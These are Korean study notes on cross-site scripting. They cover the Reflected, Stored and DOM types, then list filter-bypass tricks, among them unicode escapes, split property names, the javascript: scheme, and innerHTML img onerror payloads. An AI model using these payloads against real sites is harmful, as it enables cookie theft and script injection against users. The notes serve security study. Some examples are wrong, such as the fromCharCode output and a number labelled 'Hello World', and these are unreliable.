01. XSS란?
악성 스크립트를 웹 페이지에 삽입하여 사용자의 브라우저에서 실행되도록 하는 공격 기법
02. XSS 종류
- Reflected XSS
- Stored XSS
- DOM XSS
03. Reflected XSS
03-1. Reflected XSS란?
요청 메시지에 입력된 악성 스크립트 코드가 응답 메시지를 통해 출력되는 취약점
EX ) 게시판에 글 남기기, 이메일 피싱
04. Stored XSS
04-1. Stored XSS란?
보안이 취약한 게시판 같이 글을 적고 저장할 수 있는 사이트에서 다른 사용자의 정보를 빼돌릴 수 있는 악성 스크립트를 올려서 사용자의 쿠키를 탈취하는 취약점
05. DOM XSS
05-1. DOM XSS란?
보안이 취약한 웹 사이트의 URL에 악성 스크립트가 실행되도록 만들어서 사용자에게 전달하여 사용자의 정보를 탈취하거나 다른 악성코드를 다운받게 만드는 취약점
06. XSS 필터링 우회 심화
06-1. Unicode escape sequence
JS는 기본적으로 unicode escape sequence라는 것을 지원하는데 이것은 문자열을 필터링 당했을 경우 사용하기 좋은 우회 방법이다.
var foo = "\\u0063ookie";
\\u0061lert(document.cookie);06-2. Computed member access
객체의 속성에 접근할 때 속성의 이름을 동적으로 계산하는 기능.
document["coo"+"kie"] == document["cookie"] == document.cookie06-3. XSS 구문 필터링 경우 대체할 수 있는 것들
| alert, XMLHttpRequest | window[’al’+’ert’], window[’XMLHtt’+’pRequest’]등 이름 끊어서 쓰기 |
|---|---|
| window | self, this |
| eval(code) | Function(code) () |
| Function | isNaN[‘constructor’] 등 함수의 constructor 속성 접근 |
06-4. 괄호를 이용한 JS 실행
위 사이트는 ‘[’ ‘(’ ‘{’등 과 같은 기호로 JS 구문을 자동으로 만들어주는 사이트이다.
06-5. 템플릿 리터널
‘ 혹은 “가 필터링 됐을 경우 우리는 백틱 기호를 사용해서 우회할 수 있다.
var foo = "Hello";
var bar = "World";
var baz = `${foo} ${bar} ${1+1}`여기서 백틱 기호도 필터링 하는 경우
var foo = /Hello World!/.source;06-6. String.fromCharCode함수
위와 같이 ‘ 혹은 “ 그리고 백틱 기호를 못 사용하는 상황에서는 String.fromCharCode를 사용해서 우회할 수 있다.
var foo = String.fromCharCode(72,101,108,111);06-7. 내장 함수를 활용한 우회
var baz = history.toString()[8] + (history+[])[9] + (URL+0)[12] + (URL+0)[13]; // "Hi()"history.toString() 은 "[object History]" 문자열을 반환하고, URL.toString()은 "function URL() { [native code] }" 문자열을 반환합니다. 또한 history+[]; history+0; 처럼 함수나 객체와 +, - 와 같은 산술 연산을 수행하게 되면 연산을 위해 객체 내부적으로 toString 함수를 호출해 문자열로 변환한 후에 연산을 수행합니다.
06-8.진수 변환을 이용한 모습
var foo = (29234652).toString(36); // Hello World
var foo = (29234652)..toString(36); // Hello World
var foo = 29234652 .toString(36); // Hello World10진수 숫자를 36진수로 바꿔서 영어를 출력한다.
06-9. JS 스키마를 활용한 location 변경
location="javascript:alert\\x28document.domain\\x29;";
location.href="javascript:alert\\u0028document.domain\\u0029;";
location['href']="javascript:alert\\050document.domain\\051;";javascript:의 스키마를 이용하면 URL을 이용해 JS 코드를 실행시킬 수 있다.
06-10. document.body.innerHTML 추가
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";document.body.innerHTML을 이용하면 JS 명령어를 HTML에 넣을 수 있다.